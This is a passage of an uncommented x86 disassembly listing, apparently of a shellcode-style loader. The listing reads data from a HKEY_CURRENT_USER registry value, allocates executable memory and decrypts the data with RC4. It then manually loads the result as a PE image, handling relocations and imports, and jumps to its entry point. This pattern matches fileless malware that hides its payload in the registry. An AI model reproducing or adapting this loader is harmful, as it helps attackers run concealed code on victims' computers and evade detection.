  428.                            .data:00000509 50                               push   eax
  429.                            .data:0000050a ff 55 ac                         call   DWORD PTR [ebp-0x54]
  430.                            .data:0000050d 85 c0                            test   eax,eax
  431.                            .data:0000050f 75 02                            jne    0x00000513
  432.                            .data:00000511 b3 01                            mov    bl,0x1
  433.                            .data:00000513 33 c0                            xor    eax,eax
  434.                            .data:00000515 89 85 70 ff ff ff                mov    DWORD PTR [ebp-0x90],eax
  435.                            .data:0000051b 84 db                            test   bl,bl
  436.                            .data:0000051d 0f 85 b8 00 00 00                jne    0x000005db
  437.                            .data:00000523 33 c0                            xor    eax,eax
  438.                            .data:00000525 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  439.                            .data:0000052b 33 c0                            xor    eax,eax
  440.                            .data:0000052d 89 85 60 ff ff ff                mov    DWORD PTR [ebp-0xa0],eax
  441.                            .data:00000533 8d 85 70 ff ff ff                lea    eax,[ebp-0x90]
  442.                            .data:00000539 50                               push   eax
  443.                            .data:0000053a 6a 01                            push   0x1
  444.                            .data:0000053c 6a 00                            push   0x0
  445.                            .data:0000053e 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  446.                            .data:00000544 50                               push   eax
  447.                            .data:00000545 68 01 00 00 80                   push   0x80000001
  448.                            .data:0000054a ff 55 b0                         call   DWORD PTR [ebp-0x50]
  449.                            .data:0000054d 85 c0                            test   eax,eax
  450.                            .data:0000054f 0f 85 86 00 00 00                jne    0x000005db
  451.                            .data:00000555 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  452.                            .data:0000055b 50                               push   eax
  453.                            .data:0000055c 6a 00                            push   0x0
  454.                            .data:0000055e 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  455.                            .data:00000564 50                               push   eax
  456.                            .data:00000565 6a 00                            push   0x0
  457.                            .data:00000567 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  458.                            .data:0000056d 83 c0 41                         add    eax,0x41
  459.                            .data:00000570 50                               push   eax
  460.                            .data:00000571 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
  461.                            .data:00000577 50                               push   eax
  462.                            .data:00000578 ff 55 ac                         call   DWORD PTR [ebp-0x54]
  463.                            .data:0000057b 85 c0                            test   eax,eax
  464.                            .data:0000057d 75 5c                            jne    0x000005db
  465.                            .data:0000057f 83 bd 60 ff ff ff 64             cmp    DWORD PTR [ebp-0xa0],0x64
  466.                            .data:00000586 76 53                            jbe    0x000005db
  467.                            .data:00000588 6a 40                            push   0x40
  468.                            .data:0000058a 68 00 30 00 00                   push   0x3000
  469.                            .data:0000058f 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  470.                            .data:00000595 50                               push   eax
  471.                            .data:00000596 6a 00                            push   0x0
  472.                            .data:00000598 ff 55 a8                         call   DWORD PTR [ebp-0x58]
  473.                            .data:0000059b 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  474.                            .data:000005a1 83 bd 64 ff ff ff 00             cmp    DWORD PTR [ebp-0x9c],0x0
  475.                            .data:000005a8 74 31                            je     0x000005db
  476.                            .data:000005aa 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  477.                            .data:000005b0 50                               push   eax
  478.                            .data:000005b1 8b 85 64 ff ff ff                mov    eax,DWORD PTR [ebp-0x9c]
  479.                            .data:000005b7 50                               push   eax
  480.                            .data:000005b8 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  481.                            .data:000005be 50                               push   eax
  482.                            .data:000005bf 6a 00                            push   0x0
  483.                            .data:000005c1 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  484.                            .data:000005c7 83 c0 41                         add    eax,0x41
  485.                            .data:000005ca 50                               push   eax
  486.                            .data:000005cb 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
  487.                            .data:000005d1 50                               push   eax
  488.                            .data:000005d2 ff 55 ac                         call   DWORD PTR [ebp-0x54]
  489.                            .data:000005d5 85 c0                            test   eax,eax
  490.                            .data:000005d7 75 02                            jne    0x000005db
  491.                            .data:000005d9 b3 01                            mov    bl,0x1
  492.                            .data:000005db 84 db                            test   bl,bl
  493.                            .data:000005dd 75 05                            jne    0x000005e4
  494.                            .data:000005df 6a 00                            push   0x0
  495.                            .data:000005e1 ff 55 a4                         call   DWORD PTR [ebp-0x5c]
  496.                            .data:000005e4 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  497.                            .data:000005ea 8b 80 dc 00 00 00                mov    eax,DWORD PTR [eax+0xdc]
  498.                            .data:000005f0 50                               push   eax
  499.                            .data:000005f1 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  500.                            .data:000005f7 83 c0 52                         add    eax,0x52
  501.                            .data:000005fa 50                               push   eax
  502.                            .data:000005fb 8d 85 00 fa ff ff                lea    eax,[ebp-0x600]
  503.                            .data:00000601 50                               push   eax
  504.                            .data:00000602 ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  505.                            .data:00000608 33 f6                            xor    esi,esi
  506.                            .data:0000060a 8d 8d 00 fb ff ff                lea    ecx,[ebp-0x500]
  507.                            .data:00000610 89 31                            mov    DWORD PTR [ecx],esi
  508.                            .data:00000612 46                               inc    esi
  509.                            .data:00000613 83 c1 04                         add    ecx,0x4
  510.                            .data:00000616 81 fe 00 01 00 00                cmp    esi,0x100
  511.                            .data:0000061c 75 f2                            jne    0x00000610
  512.                            .data:0000061e 33 db                            xor    ebx,ebx
  513.                            .data:00000620 33 f6                            xor    esi,esi
  514.                            .data:00000622 8d 8d 00 fb ff ff                lea    ecx,[ebp-0x500]
  515.                            .data:00000628 03 19                            add    ebx,DWORD PTR [ecx]
  516.                            .data:0000062a 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  517.                            .data:00000630 ff b0 dc 00 00 00                push   DWORD PTR [eax+0xdc]
  518.                            .data:00000636 8b c6                            mov    eax,esi
  519.                            .data:00000638 5a                               pop    edx
  520.                            .data:00000639 8b fa                            mov    edi,edx
  521.                            .data:0000063b 33 d2                            xor    edx,edx
  522.                            .data:0000063d f7 f7                            div    edi
  523.                            .data:0000063f 33 c0                            xor    eax,eax
  524.                            .data:00000641 8a 84 15 00 fa ff ff             mov    al,BYTE PTR [ebp+edx*1-0x600]
  525.                            .data:00000648 03 d8                            add    ebx,eax
  526.                            .data:0000064a 81 e3 ff 00 00 00                and    ebx,0xff
  527.                            .data:00000650 8a 01                            mov    al,BYTE PTR [ecx]
  528.                            .data:00000652 8b 94 9d 00 fb ff ff             mov    edx,DWORD PTR [ebp+ebx*4-0x500]
  529.                            .data:00000659 89 11                            mov    DWORD PTR [ecx],edx
  530.                            .data:0000065b 25 ff 00 00 00                   and    eax,0xff
  531.                            .data:00000660 89 84 9d 00 fb ff ff             mov    DWORD PTR [ebp+ebx*4-0x500],eax
  532.                            .data:00000667 46                               inc    esi
  533.                            .data:00000668 83 c1 04                         add    ecx,0x4
  534.                            .data:0000066b 81 fe 00 01 00 00                cmp    esi,0x100
  535.                            .data:00000671 75 b5                            jne    0x00000628
  536.                            .data:00000673 33 db                            xor    ebx,ebx
  537.                            .data:00000675 33 ff                            xor    edi,edi
  538.                            .data:00000677 6a 40                            push   0x40
  539.                            .data:00000679 68 00 30 00 00                   push   0x3000
  540.                            .data:0000067e 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  541.                            .data:00000684 50                               push   eax
  542.                            .data:00000685 6a 00                            push   0x0
  543.                            .data:00000687 ff 55 a8                         call   DWORD PTR [ebp-0x58]
  544.                            .data:0000068a 89 85 5c ff ff ff                mov    DWORD PTR [ebp-0xa4],eax
  545.                            .data:00000690 83 bd 5c ff ff ff 00             cmp    DWORD PTR [ebp-0xa4],0x0
  546.                            .data:00000697 74 29                            je     0x000006c2
  547.                            .data:00000699 8b 85 5c ff ff ff                mov    eax,DWORD PTR [ebp-0xa4]
  548.                            .data:0000069f 89 85 4c ff ff ff                mov    DWORD PTR [ebp-0xb4],eax
  549.                            .data:000006a5 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  550.                            .data:000006ab 50                               push   eax
  551.                            .data:000006ac 8b 85 64 ff ff ff                mov    eax,DWORD PTR [ebp-0x9c]
  552.                            .data:000006b2 50                               push   eax
  553.                            .data:000006b3 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  554.                            .data:000006b9 50                               push   eax
  555.                            .data:000006ba ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  556.                            .data:000006c0 eb 05                            jmp    0x000006c7
  557.                            .data:000006c2 6a 00                            push   0x0
  558.                            .data:000006c4 ff 55 a4                         call   DWORD PTR [ebp-0x5c]
  559.                            .data:000006c7 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  560.                            .data:000006cd 48                               dec    eax
  561.                            .data:000006ce 85 c0                            test   eax,eax
  562.                            .data:000006d0 72 74                            jb     0x00000746
  563.                            .data:000006d2 40                               inc    eax
  564.                            .data:000006d3 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  565.                            .data:000006d9 33 f6                            xor    esi,esi
  566.                            .data:000006db 43                               inc    ebx
  567.                            .data:000006dc 81 e3 ff 00 00 00                and    ebx,0xff
  568.                            .data:000006e2 03 bc 9d 00 fb ff ff             add    edi,DWORD PTR [ebp+ebx*4-0x500]
  569.                            .data:000006e9 81 e7 ff 00 00 00                and    edi,0xff
  570.                            .data:000006ef 8a 84 9d 00 fb ff ff             mov    al,BYTE PTR [ebp+ebx*4-0x500]
  571.                            .data:000006f6 8b 94 bd 00 fb ff ff             mov    edx,DWORD PTR [ebp+edi*4-0x500]
  572.                            .data:000006fd 89 94 9d 00 fb ff ff             mov    DWORD PTR [ebp+ebx*4-0x500],edx
  573.                            .data:00000704 25 ff 00 00 00                   and    eax,0xff
  574.                            .data:00000709 89 84 bd 00 fb ff ff             mov    DWORD PTR [ebp+edi*4-0x500],eax
  575.                            .data:00000710 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  576.                            .data:00000716 8a 04 30                         mov    al,BYTE PTR [eax+esi*1]
  577.                            .data:00000719 8b 94 9d 00 fb ff ff             mov    edx,DWORD PTR [ebp+ebx*4-0x500]
  578.                            .data:00000720 03 94 bd 00 fb ff ff             add    edx,DWORD PTR [ebp+edi*4-0x500]
  579.                            .data:00000727 81 e2 ff 00 00 00                and    edx,0xff
  580.                            .data:0000072d 32 84 95 00 fb ff ff             xor    al,BYTE PTR [ebp+edx*4-0x500]
  581.                            .data:00000734 8b 95 4c ff ff ff                mov    edx,DWORD PTR [ebp-0xb4]
  582.                            .data:0000073a 88 04 32                         mov    BYTE PTR [edx+esi*1],al
  583.                            .data:0000073d 46                               inc    esi
  584.                            .data:0000073e ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  585.                            .data:00000744 75 95                            jne    0x000006db
  586.                            .data:00000746 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  587.                            .data:0000074c 89 45 d4                         mov    DWORD PTR [ebp-0x2c],eax
  588.                            .data:0000074f 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  589.                            .data:00000752 66 81 38 4d 5a                   cmp    WORD PTR [eax],0x5a4d
  590.                            .data:00000757 0f 85 da 02 00 00                jne    0x00000a37
  591.                            .data:0000075d 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  592.                            .data:00000760 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  593.                            .data:00000763 03 85 4c ff ff ff                add    eax,DWORD PTR [ebp-0xb4]
  594.                            .data:00000769 89 45 d0                         mov    DWORD PTR [ebp-0x30],eax
  595.                            .data:0000076c 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  596.                            .data:0000076f 81 38 50 45 00 00                cmp    DWORD PTR [eax],0x4550
  597.                            .data:00000775 0f 85 bc 02 00 00                jne    0x00000a37
  598.                            .data:0000077b 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  599.                            .data:0000077e 8b 58 50                         mov    ebx,DWORD PTR [eax+0x50]
  600.                            .data:00000781 03 db                            add    ebx,ebx
  601.                            .data:00000783 6a 40                            push   0x40
  602.                            .data:00000785 68 00 30 00 00                   push   0x3000
  603.                            .data:0000078a 53                               push   ebx
  604.                            .data:0000078b 6a 00                            push   0x0
  605.                            .data:0000078d ff 55 a8                         call   DWORD PTR [ebp-0x58]
  606.                            .data:00000790 89 45 f8                         mov    DWORD PTR [ebp-0x8],eax
  607.                            .data:00000793 83 7d f8 00                      cmp    DWORD PTR [ebp-0x8],0x0
  608.                            .data:00000797 0f 84 9a 02 00 00                je     0x00000a37
  609.                            .data:0000079d 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  610.                            .data:000007a0 8b 40 54                         mov    eax,DWORD PTR [eax+0x54]
  611.                            .data:000007a3 50                               push   eax
  612.                            .data:000007a4 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  613.                            .data:000007aa 50                               push   eax
  614.                            .data:000007ab 8b 45 f8                         mov    eax,DWORD PTR [ebp-0x8]
  615.                            .data:000007ae 50                               push   eax
  616.                            .data:000007af ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  617.                            .data:000007b5 6a 04                            push   0x4
  618.                            .data:000007b7 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  619.                            .data:000007bd 05 e0 00 00 00                   add    eax,0xe0
  620.                            .data:000007c2 50                               push   eax
  621.                            .data:000007c3 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  622.                            .data:000007c6 8b 40 50                         mov    eax,DWORD PTR [eax+0x50]
  623.                            .data:000007c9 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  624.                            .data:000007cc 50                               push   eax
  625.                            .data:000007cd ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  626.                            .data:000007d3 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  627.                            .data:000007d9 8b 80 e0 00 00 00                mov    eax,DWORD PTR [eax+0xe0]
  628.                            .data:000007df 50                               push   eax
  629.                            .data:000007e0 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  630.                            .data:000007e6 50                               push   eax
  631.                            .data:000007e7 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  632.                            .data:000007ea 8b 40 50                         mov    eax,DWORD PTR [eax+0x50]
  633.                            .data:000007ed 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  634.                            .data:000007f0 83 c0 04                         add    eax,0x4
  635.                            .data:000007f3 50                               push   eax
  636.                            .data:000007f4 ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  637.                            .data:000007fa 6a 60                            push   0x60
  638.                            .data:000007fc 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  639.                            .data:00000802 83 c0 7a                         add    eax,0x7a
  640.                            .data:00000805 50                               push   eax
  641.                            .data:00000806 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  642.                            .data:00000809 8b 40 50                         mov    eax,DWORD PTR [eax+0x50]
  643.                            .data:0000080c 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  644.                            .data:0000080f 83 c0 04                         add    eax,0x4
  645.                            .data:00000812 8b 95 7c ff ff ff                mov    edx,DWORD PTR [ebp-0x84]
  646.                            .data:00000818 03 82 e0 00 00 00                add    eax,DWORD PTR [edx+0xe0]
  647.                            .data:0000081e 50                               push   eax
  648.                            .data:0000081f ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  649.                            .data:00000825 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  650.                            .data:00000828 0f b7 40 06                      movzx  eax,WORD PTR [eax+0x6]
  651.                            .data:0000082c 48                               dec    eax
  652.                            .data:0000082d 85 c0                            test   eax,eax
  653.                            .data:0000082f 7c 5f                            jl     0x00000890
  654.                            .data:00000831 40                               inc    eax
  655.                            .data:00000832 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  656.                            .data:00000838 33 f6                            xor    esi,esi
  657.                            .data:0000083a 8b 55 d4                         mov    edx,DWORD PTR [ebp-0x2c]
  658.                            .data:0000083d 8b 52 3c                         mov    edx,DWORD PTR [edx+0x3c]
  659.                            .data:00000840 8b 85 4c ff ff ff                mov    eax,DWORD PTR [ebp-0xb4]
  660.                            .data:00000846 03 d0                            add    edx,eax
  661.                            .data:00000848 81 c2 f8 00 00 00                add    edx,0xf8
  662.                            .data:0000084e 8b ce                            mov    ecx,esi
  663.                            .data:00000850 c1 e1 03                         shl    ecx,0x3
  664.                            .data:00000853 8d 0c 89                         lea    ecx,[ecx+ecx*4]
  665.                            .data:00000856 03 d1                            add    edx,ecx
  666.                            .data:00000858 89 95 50 ff ff ff                mov    DWORD PTR [ebp-0xb0],edx
  667.                            .data:0000085e 8b 95 50 ff ff ff                mov    edx,DWORD PTR [ebp-0xb0]
  668.                            .data:00000864 8b 52 10                         mov    edx,DWORD PTR [edx+0x10]
  669.                            .data:00000867 52                               push   edx
  670.                            .data:00000868 8b 95 50 ff ff ff                mov    edx,DWORD PTR [ebp-0xb0]
  671.                            .data:0000086e 8b 52 14                         mov    edx,DWORD PTR [edx+0x14]
  672.                            .data:00000871 03 d0                            add    edx,eax
  673.                            .data:00000873 52                               push   edx
  674.                            .data:00000874 8b 85 50 ff ff ff                mov    eax,DWORD PTR [ebp-0xb0]
  675.                            .data:0000087a 8b 40 0c                         mov    eax,DWORD PTR [eax+0xc]
  676.                            .data:0000087d 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  677.                            .data:00000880 50                               push   eax
  678.                            .data:00000881 ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  679.                            .data:00000887 46                               inc    esi
  680.                            .data:00000888 ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  681.                            .data:0000088e 75 aa                            jne    0x0000083a
  682.                            .data:00000890 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  683.                            .data:00000893 8b 40 34                         mov    eax,DWORD PTR [eax+0x34]
  684.                            .data:00000896 3b 45 f8                         cmp    eax,DWORD PTR [ebp-0x8]
  685.                            .data:00000899 0f 84 cb 00 00 00                je     0x0000096a
  686.                            .data:0000089f 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  687.                            .data:000008a2 8b 55 f8                         mov    edx,DWORD PTR [ebp-0x8]
  688.                            .data:000008a5 2b 50 34                         sub    edx,DWORD PTR [eax+0x34]
  689.                            .data:000008a8 89 55 d8                         mov    DWORD PTR [ebp-0x28],edx
  690.                            .data:000008ab 8b 45 f8                         mov    eax,DWORD PTR [ebp-0x8]
  691.                            .data:000008ae 89 45 f0                         mov    DWORD PTR [ebp-0x10],eax
  692.                            .data:000008b1 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  693.                            .data:000008b4 83 b8 a4 00 00 00 00             cmp    DWORD PTR [eax+0xa4],0x0
  694.                            .data:000008bb 0f 86 87 00 00 00                jbe    0x00000948
  695.                            .data:000008c1 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  696.                            .data:000008c4 8b 80 a0 00 00 00                mov    eax,DWORD PTR [eax+0xa0]
  697.                            .data:000008ca 03 45 f0                         add    eax,DWORD PTR [ebp-0x10]
  698.                            .data:000008cd 89 45 ec                         mov    DWORD PTR [ebp-0x14],eax
  699.                            .data:000008d0 eb 6e                            jmp    0x00000940
  700.                            .data:000008d2 8b 45 ec                         mov    eax,DWORD PTR [ebp-0x14]
  701.                            .data:000008d5 8b 00                            mov    eax,DWORD PTR [eax]
  702.                            .data:000008d7 03 45 f0                         add    eax,DWORD PTR [ebp-0x10]
  703.                            .data:000008da 89 45 e8                         mov    DWORD PTR [ebp-0x18],eax
  704.                            .data:000008dd 8b 45 ec                         mov    eax,DWORD PTR [ebp-0x14]
  705.                            .data:000008e0 83 c0 08                         add    eax,0x8
  706.                            .data:000008e3 89 45 e4                         mov    DWORD PTR [ebp-0x1c],eax
  707.                            .data:000008e6 8b 45 ec                         mov    eax,DWORD PTR [ebp-0x14]
  708.                            .data:000008e9 8b 40 04                         mov    eax,DWORD PTR [eax+0x4]
  709.                            .data:000008ec 83 e8 08                         sub    eax,0x8
  710.                            .data:000008ef d1 e8                            shr    eax,1
  711.                            .data:000008f1 48                               dec    eax
  712.                            .data:000008f2 85 c0                            test   eax,eax
  713.                            .data:000008f4 72 3e                            jb     0x00000934
  714.                            .data:000008f6 40                               inc    eax
  715.                            .data:000008f7 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  716.                            .data:000008fd 8b 45 e4                         mov    eax,DWORD PTR [ebp-0x1c]
  717.                            .data:00000900 66 8b 10                         mov    dx,WORD PTR [eax]
  718.                            .data:00000903 0f b7 c2                         movzx  eax,dx
  719.                            .data:00000906 c1 e8 0c                         shr    eax,0xc
  720.                            .data:00000909 8b ca                            mov    ecx,edx
  721.                            .data:0000090b 66 81 e1 ff 0f                   and    cx,0xfff
  722.                            .data:00000910 0f b7 c9                         movzx  ecx,cx
  723.                            .data:00000913 83 f8 03                         cmp    eax,0x3
  724.                            .data:00000916 75 10                            jne    0x00000928
  725.                            .data:00000918 8b 45 e8                         mov    eax,DWORD PTR [ebp-0x18]
  726.                            .data:0000091b 03 c1                            add    eax,ecx
  727.                            .data:0000091d 89 45 e0                         mov    DWORD PTR [ebp-0x20],eax
  728.                            .data:00000920 8b 45 e0                         mov    eax,DWORD PTR [ebp-0x20]
  729.                            .data:00000923 8b 55 d8                         mov    edx,DWORD PTR [ebp-0x28]
  730.                            .data:00000926 01 10                            add    DWORD PTR [eax],edx
  731.                            .data:00000928 83 45 e4 02                      add    DWORD PTR [ebp-0x1c],0x2
  732.                            .data:0000092c ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  733.                            .data:00000932 75 c9                            jne    0x000008fd
  734.                            .data:00000934 8b 45 ec                         mov    eax,DWORD PTR [ebp-0x14]
  735.                            .data:00000937 8b 40 04                         mov    eax,DWORD PTR [eax+0x4]
  736.                            .data:0000093a 03 45 ec                         add    eax,DWORD PTR [ebp-0x14]
  737.                            .data:0000093d 89 45 ec                         mov    DWORD PTR [ebp-0x14],eax
  738.                            .data:00000940 8b 45 ec                         mov    eax,DWORD PTR [ebp-0x14]
  739.                            .data:00000943 83 38 00                         cmp    DWORD PTR [eax],0x0
  740.                            .data:00000946 77 8a                            ja     0x000008d2
  741.                            .data:00000948 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  742.                            .data:0000094b 8b 55 f8                         mov    edx,DWORD PTR [ebp-0x8]
  743.                            .data:0000094e 89 50 34                         mov    DWORD PTR [eax+0x34],edx
  744.                            .data:00000951 68 f8 00 00 00                   push   0xf8
  745.                            .data:00000956 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  746.                            .data:00000959 50                               push   eax
  747.                            .data:0000095a 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  748.                            .data:0000095d 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  749.                            .data:00000960 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  750.                            .data:00000963 50                               push   eax
  751.                            .data:00000964 ff 95 78 ff ff ff                call   DWORD PTR [ebp-0x88]
  752.                            .data:0000096a 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  753.                            .data:0000096d 05 80 00 00 00                   add    eax,0x80
  754.                            .data:00000972 89 45 90                         mov    DWORD PTR [ebp-0x70],eax
  755.                            .data:00000975 8b 45 90                         mov    eax,DWORD PTR [ebp-0x70]
  756.                            .data:00000978 83 78 04 00                      cmp    DWORD PTR [eax+0x4],0x0
  757.                            .data:0000097c 0f 86 9e 00 00 00                jbe    0x00000a20
  758.                            .data:00000982 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  759.                            .data:00000985 8b 80 80 00 00 00                mov    eax,DWORD PTR [eax+0x80]
  760.                            .data:0000098b 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  761.                            .data:0000098e 89 45 8c                         mov    DWORD PTR [ebp-0x74],eax
  762.                            .data:00000991 eb 7f                            jmp    0x00000a12
  763.                            .data:00000993 03 7d f8                         add    edi,DWORD PTR [ebp-0x8]
  764.                            .data:00000996 57                               push   edi
  765.                            .data:00000997 ff 55 bc                         call   DWORD PTR [ebp-0x44]
  766.                            .data:0000099a 8b d8                            mov    ebx,eax
  767.                            .data:0000099c 85 db                            test   ebx,ebx
  768.                            .data:0000099e 74 72                            je     0x00000a12
  769.                            .data:000009a0 8b 45 8c                         mov    eax,DWORD PTR [ebp-0x74]
  770.                            .data:000009a3 83 38 00                         cmp    DWORD PTR [eax],0x0
  771.                            .data:000009a6 74 0d                            je     0x000009b5
  772.                            .data:000009a8 8b 45 8c                         mov    eax,DWORD PTR [ebp-0x74]
  773.                            .data:000009ab 8b 00                            mov    eax,DWORD PTR [eax]
  774.                            .data:000009ad 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  775.                            .data:000009b0 89 45 88                         mov    DWORD PTR [ebp-0x78],eax
  776.                            .data:000009b3 eb 0c                            jmp    0x000009c1
  777.                            .data:000009b5 8b 45 8c                         mov    eax,DWORD PTR [ebp-0x74]
  778.                            .data:000009b8 8b 40 10                         mov    eax,DWORD PTR [eax+0x10]
  779.                            .data:000009bb 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  780.                            .data:000009be 89 45 88                         mov    DWORD PTR [ebp-0x78],eax
  781.                            .data:000009c1 8b 45 8c                         mov    eax,DWORD PTR [ebp-0x74]
  782.                            .data:000009c4 8b 40 10                         mov    eax,DWORD PTR [eax+0x10]
  783.                            .data:000009c7 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  784.                            .data:000009ca 89 45 84                         mov    DWORD PTR [ebp-0x7c],eax
  785.                            .data:000009cd eb 37                            jmp    0x00000a06
  786.                            .data:000009cf 8b 45 88                         mov    eax,DWORD PTR [ebp-0x78]
  787.                            .data:000009d2 8b 30                            mov    esi,DWORD PTR [eax]
  788.                            .data:000009d4 f7 c6 00 00 00 80                test   esi,0x80000000
  789.                            .data:000009da 74 12                            je     0x000009ee
  790.                            .data:000009dc 81 e6 ff ff 00 00                and    esi,0xffff
  791.                            .data:000009e2 56                               push   esi
  792.                            .data:000009e3 53                               push   ebx
  793.                            .data:000009e4 ff 55 b8                         call   DWORD PTR [ebp-0x48]
  794.                            .data:000009e7 8b 55 84                         mov    edx,DWORD PTR [ebp-0x7c]
  795.                            .data:000009ea 89 02                            mov    DWORD PTR [edx],eax
  796.                            .data:000009ec eb 10                            jmp    0x000009fe
  797.                            .data:000009ee 03 75 f8                         add    esi,DWORD PTR [ebp-0x8]
  798.                            .data:000009f1 83 c6 02                         add    esi,0x2
  799.                            .data:000009f4 56                               push   esi
  800.                            .data:000009f5 53                               push   ebx
  801.                            .data:000009f6 ff 55 b8                         call   DWORD PTR [ebp-0x48]
  802.                            .data:000009f9 8b 55 84                         mov    edx,DWORD PTR [ebp-0x7c]
  803.                            .data:000009fc 89 02                            mov    DWORD PTR [edx],eax
  804.                            .data:000009fe 83 45 88 04                      add    DWORD PTR [ebp-0x78],0x4
  805.                            .data:00000a02 83 45 84 04                      add    DWORD PTR [ebp-0x7c],0x4
  806.                            .data:00000a06 8b 45 88                         mov    eax,DWORD PTR [ebp-0x78]
  807.                            .data:00000a09 83 38 00                         cmp    DWORD PTR [eax],0x0
  808.                            .data:00000a0c 75 c1                            jne    0x000009cf
  809.                            .data:00000a0e 83 45 8c 14                      add    DWORD PTR [ebp-0x74],0x14
  810.                            .data:00000a12 8b 45 8c                         mov    eax,DWORD PTR [ebp-0x74]
  811.                            .data:00000a15 8b 78 0c                         mov    edi,DWORD PTR [eax+0xc]
  812.                            .data:00000a18 85 ff                            test   edi,edi
  813.                            .data:00000a1a 0f 85 73 ff ff ff                jne    0x00000993
  814.                            .data:00000a20 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  815.                            .data:00000a23 8b 40 28                         mov    eax,DWORD PTR [eax+0x28]
  816.                            .data:00000a26 03 45 f8                         add    eax,DWORD PTR [ebp-0x8]
  817.                            .data:00000a29 89 45 f4                         mov    DWORD PTR [ebp-0xc],eax
  818.                            .data:00000a2c 31 c0                            xor    eax,eax
  819.                            .data:00000a2e 50                               push   eax
  820.                            .data:00000a2f 6a 01                            push   0x1
  821.                            .data:00000a31 ff 75 f8                         push   DWORD PTR [ebp-0x8]
  822.                            .data:00000a34 ff 55 f4                         call   DWORD PTR [ebp-0xc]
  823.                            .data:00000a37 6a 00                            push   0x0
  824.                            .data:00000a39 ff 55 a4                         call   DWORD PTR [ebp-0x5c]
  825.                            .data:00000a3c 5f                               pop    edi
  826.                            .data:00000a3d 5e                               pop    esi
  827.                            .data:00000a3e 5b                               pop    ebx
  828.                            .data:00000a3f 8b e5                            mov    esp,ebp
  829.                            .data:00000a41 5d                               pop    ebp
  830.                            .data:00000a42 c2 04 00                         ret    0x4
  831.                            .data:00000a45 8d 40 00                         lea    eax,[eax+0x0]
  832.                            .data:00000a48 73 6f                            jae    0x00000ab9
  833.                            .data:00000a4a 66 74 77                         data16 je 0x00000ac4
  834.                            .data:00000a4d 61                               popa  
  835.                            .data:00000a4e 72 65                            jb     0x00000ab5
  836.                            .data:00000a50 5c                               pop    esp
  837.                            .data:00000a51 5a                               pop    edx
